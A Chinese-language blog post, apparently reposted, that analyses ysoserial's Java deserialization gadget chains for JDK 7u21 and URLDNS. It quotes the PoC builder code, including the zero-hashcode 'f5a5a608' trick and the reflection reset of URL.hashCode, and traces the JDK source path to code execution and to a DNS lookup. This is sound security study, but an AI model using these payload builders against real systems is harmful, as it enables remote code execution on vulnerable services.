ysoserial分析【二】7u21和URLDNS


7u21

7u21中利用了TemplatesImpl來執行命令,結合動態代理、AnnotationInvocationHandler、HashSet都成了gadget鏈。

先看一下調用棧,把ysoserial中的調用棧簡化了一下

LinkedHashSet.readObject()
  LinkedHashSet.add()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        對_bytecodes屬性的值(實例的字節碼)進行實例化
                          RCE

其中關於TemplatsImpl類如何執行惡意代碼的知識可以參考另一篇文章中對CommonsCollections2的分析,這里不再贅述。只要知道這里調用TemplatesImpl.getOutputProperties()可以執行惡意代碼即可。

看一下ysoserial的poc



public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//返回構造好的TemplatesImpl實例,實例的_bytecodes屬性的值是執行惡意語句類的字節碼

    String zeroHashCodeStr = "f5a5a608";
    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作為構造方法的第二個參數,map賦值給AnnotationInvocationHandler.membervalues屬性

    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//為AIH創建代理

    LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父類是HashSet
    set.add(templates);//TemplatesImpl實例
    set.add(proxy);//AnnotationInvocationHandler實例的代理,AnnotationInvocationHandler的membervalues是TemplatesImple實例

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); //綁定到AnnotationInvocationHandler的那個map中的再添加一組鍵值對,value是TemplatesImpl實例。但是由於map中的第一組鍵值對的鍵也是zeroHashCodeStr,因此這里就是相當於把第一個鍵值對的value重新復賦值了。

    return set;//返回LinkedHashSet實例,用於序列化
}

總體來說就是返回一個LinkedHashSet實例,其中有兩個元素,第一個元素是_bytecodes屬性是惡意類字節碼的TemplatesImpl實例。

第二個元素是AnnotationInvocationHandler的代理實例,這個AnnotationInvocationHandler實例在初始化時將一個HashMap實例傳入,HashMap的第一個元素的key是TemplatesImpl實例。

看一下AnnotationInvocationHandler的構造方法

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

也就是把這個HashMap實例賦值給了memberValues屬性。

至此poc分析完畢,下面調試一下反序列化觸發gadget鏈的流程。有感到模糊的地方可以參考以上的分析。

gadget鏈分析

首先由於poc return了LinkedHashSet實例用於序列化,因此這就是反序列化的入口。由於LinkedHashSet沒有實現readObject()方法,因此跟進其父類:HashSet.readObject

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    
    s.defaultReadObject();

    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));//創建一個新map

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);//將反序列化出來的元素put到map中
    }
}

我們主要關注其對元素的操作。可以看到最后的一個for循環,變量e就是每個元素反序列化之后的實例。由於在構建poc時,LinkedHashSet被我們添加了兩個元素,因此這里會進行兩次for循環,第一次e是TemplatsImpl實例,第二次是Proxy實例

這里把兩個元素反序列化之后會作為第一個參數調用map.put(),跟進一下這個方法

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

我們主要關注這里對第一個參數key的操作,因為我們的payload就在TemplatsImple和Proxy實例中,因此只有對key做某些操作才可能會觸發我們的payload。

可以看到首先調用了hash(key),跟進一下HashMap.hash()

final int hash(Object k) {
    ...

    h ^= k.hashCode();
    
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

可以發現,這里調用了key的hashCode()方法。我們挨個看看兩個key:TemplatesImpl和Proxy是如何調用hashCode()的。

由於TemplatesImpl並沒有實現hashCode()方法,因此直接調用了基類Object.hashCode()。

public native int hashCode();

這是個native方法,也就是java調用非java代碼編寫的接口,這個hashCode()大概是通過計算對象的內存地址得到的。下面再看Proxy.hashCode(),由於動態代理的特性,調用Proxy的所有方法都會轉而調用綁定在Proxy上的InvocationHandler的Invoke()方法。回顧最上面創建Proxy時,我們綁定的InvocationHandler是AnnotationInvocationHandler實例,因此這里會轉而調用AnnotationInvocationHandler.invoke(),跟進之后發現,最底層調用了AnnotationInvocationHandler.hashCodeImple()方法

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

這里看的會比較繞,其實就是通過遍歷this.memberValues.entrySet()中的所有鍵值對,來計算其中的key和value的hash,全部加起來之后返回最后的hash值。這里的this.memberValues屬性就是我們在構建poc時傳入的那個HashMap實例。

Proxy.hashCode()跟完了,沒有什么危險操作。因此回到最開始的HashMap.put()中。

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

int hash = hash(key)這一步已經跟蹤完了,繼續往下看。可以看到for循環的條件是table[i] != null,這里的table在最后調用的addEntry()中進行了賦值,跟進一下

void addEntry(int hash, K key, V value, int bucketIndex) {
    if ((size >= threshold) && (null != table[bucketIndex])) {
        resize(2 * table.length);
        hash = (null != key) ? hash(key) : 0;
        bucketIndex = indexFor(hash, table.length);
    }

    createEntry(hash, key, value, bucketIndex);
}

void createEntry(int hash, K key, V value, int bucketIndex) {
    Entry<K,V> e = table[bucketIndex];
    table[bucketIndex] = new Entry<>(hash, key, value, e);
    size++;
}

可以發現,這里利用key、value和hash創建了一個Entry實例,然后添加到了table數組中。回到上面的put()方法,由於for循環處的table中沒有數據,因此調用完addEntry()就直接return了。

接下來是第二次進入put()方法,這一次傳入的k參數是Proxy實例。int hash = hash(key);我們已經跟進過了,僅需往下看,到了for循環。由於在上一次table中已經有了數據,因此這里會進入。然后就到了if條件

for (Entry<K,V> e = table[i]; e != null; e = e.next) {
    Object k;
    if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
        ...

這里的變量e就是在上次添加到table數組中的那個Entry對象。e.hash就是初始化時傳入的hash的值,同理e.key也是初始化時傳入的key。如果這里滿足e.hash == hashe.key != key時,就會調用key.equals(e.key)

這些條件后面會回過頭來說,先假設這些條件都可以滿足。就會導致調用key.equals(e.key),這里的keyProxy,而e.key是上一次的TemplatesImpl實例。又由於調用了Proxy的方法,自動跳轉到AnnotationInvocationHandler.invoke()。跟進一下

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        ...
    }
}

var1是代理類實例,var2是調用的方法,就是equals的Method對象,var3是調用的參數,也就是TemplatesImpl實例。注意上面的第一個if條件,equals方法的參數是Object類型,因此總體判定條件為True,從而以var3[0]為參數,調用this.equalsImpl(),跟進

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

這里的var1就是TemplatesImpl實例,而this.type在創建poc時就已經定義了

Reflections.setFieldValue(tempHandler, "type", Templates.class);

TemplatesImpl的正是實現了Templates接口,因此if條件中的this.type.isInstance(var1)是True,非True就是False,因此進入Else語句。首先調用了this.getMemberMethods(),跟進一下

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射獲取this.type類/接口中聲明的所有方法
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

由於this.type是Templates接口,因此看一下這個接口聲明了哪些方法。

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

只聲明了兩個方法:newTransformer()和getOutputProperties()。

回到equalsImpl(),獲取了this.type中聲明的方法之后返回給變量var2。然后進入一個for循環,對這些方法進行遍歷。先把方法名賦值給var6,跟進this.asOneOfUs()

private AnnotationInvocationHandler asOneOfUs(Object var1) {
    if (Proxy.isProxyClass(var1.getClass())) {
        ...
    }

    return null;
}

由於var1是TemplatesImpl實例,並不是Proxy,因此直接return null。回到上面,由於var9是null,因此進入else語句

var8 = var5.invoke(var1);

var5是上面返回的兩個方法的其中一個,也就是newTransformer()和getOutputProperties(),var1是TemplatesImpl實例。這里通過反射調用TemplatesImpl的var5方法。

本文一開始就說了,調用TemplatesImpl.getOutputProperties()會導致TemplatesImpl._bytecodes的值(含有執行惡意代碼的類的字節碼)進行實例化,因此這里就是漏洞的觸發點了。

hashCode繞過

至此漏洞已經成功觸發,回到之前還有一個沒有完成的點,也就是HashMap.put()方法中的那個if條件。

public V put(K key, V value) {
    ...
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            ...
}

也就是這里的e.hash == hashe.key != key。由於key是Proxy實例,e.key是TemplatesImpl實例,因此第二個條件好滿足,注意是第一個條件,如何保證兩者的hash相同?

e.hash是由TemplatesImpl.hashCode(),由於TemplatesImpl沒有定義這個方法,因此調用的是Object的方法,而正如之前說的,Object.hashCode()是通過對象的內存地址來計算hash的。

hash變量是Proxy.hashCode()返回的,也就是之前分析的AnnotationInvocationHandler.hashCodeImple(),回顧一下

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

這里的this.memberValues屬性就是我們在構建poc時傳入的那個HashMap實例,也就是(new HashMap()).put("f5a5a608", templates),templates是TemplatesImpl實例。上面的hashCodeImple()主要是這句:

private int hashCodeImpl() {
    ...
        var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
    ...
    return var1;
}

而key是"f5a5a608",value是TempIatesImpl實例,因此等價於

127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)

跟進一下memberValueHashCode

    private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
            ...

由於參數是TemplatesImpl對象,因此直接返回了TemplatesImpl.hashCode(),前面已經說了,其TemplatesImpl並沒有重寫hashCode,因此調用Object.hashCode()根據對象的內存地址生成了hash。至此兩個hash的值已經計算完了。

第一個hash:
TemplatesImpl實例.hashCode()

第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl實例.hashCode()

這兩個TemplatesImpl實例的內存地址實際上是一樣的,因為在構建poc時,用的就是同一個TemplatesImpl實例:

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl實例

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");
    ...

    LinkedHashSet set = new LinkedHashSet();
    set.add(templates);//插入TemplatesImpl實例
    set.add(proxy);//Proxy代理

    ...

    map.put(zeroHashCodeStr, templates);//插入TemplatesImpl實例

    return set;
}

由於是同一個實例,因此內存地址相同,因此Object.hashCode()返回的hash也是相同的。回看一下兩個hash

第一個hash:
TemplatesImpl實例.hashCode()

第二個hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl實例.hashCode()

我們只需要計算一下"f5a5a608".hashCode(),這也是一個比較有意思的點,直接放到Debug中計算一下

結果是0!這個值好像是一哥們通過一個while循環遍歷出來的。因此上面的第二個hash由於是127 * 0,因此也是0,從而兩個hash變成了:

第一個hash:
TemplatesImpl實例.hashCode()

第二個hash
0 ^ TemplatesImpl實例.hashCode()

^是異或運算符,異或的規則是轉換成二進制比較,相同為0,不同為1。由於是按二進制的位進行比較,0只有一位,也就是說如果一個數的最低位與0相同,那一位則為0,否則則為1,這個結果正好與條件一樣,只有最低位是0時才會與0相同,從而返回0。如果最低位是1,與0不同,則返回1,也就是啥都沒變唄。所以說任何數與0異或,結果都還是原來的值,因此上面這兩個hash相等了。

至此幾個條件全部滿足,通過后面的key.equals(k)造成了代碼執行。

因此整個的數據流大概是

HashSet.readObject()
    HashMap.put()
        TemplatesImpl.hashCode()
    HashMap.put()
        Proxy.hashCode()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.hashCodeImpl()
        Proxy.equals()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.equalsImpl()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    對_bytecodes屬性的值(實例的字節碼)進行實例化
                                        RCE

參考

JDK7u21反序列化漏洞分析
ysoserial payload分析

URLDNS

這個gadget會在反序列化時發送一個DNS請求,僅依賴於JDK,因此適用范圍很廣,應該是只要有反序列化入口就能用這個gadget打。

先看一下調用棧

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

這里就涉及到了URL類,這個類的hashCode()方法底層會調用URLStreamHandler.hashCode()發送一個DNS請求。

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    
    ...

在反序列化時,HashMap會自動對鍵計算hash,其中就調用了鍵的hashCode()方法,因此我們可以利用HashMap來觸發URL.hashCode()

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        
        ...
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);//
        }
    }
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

根據以上描述大概可以寫出這樣的poc

URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);

return ht;

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

這里的SilentURLStreamHandler類重寫了URLStreamHandler.getHostAddress(),這樣可以保證在編譯gadget時不會發送DNS請求。

然后我們把上面poc返回的類進行序列化,在反序列化並沒有發送DNS請求。調試之后才發現,在反序列化調用URL.hashCode()由於已經存在hashCode且值不為-1,從而直接return掉了。

因此我們需要保證URL.hashCode的值為null或-1。我們可以在序列化時利用反射來修改URL的屬性,如下

URL u = new URL(null, url, handler);
ht.put(u, url); 
Reflections.setFieldValue(u, "hashCode", -1); 

調用鏈如下

HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM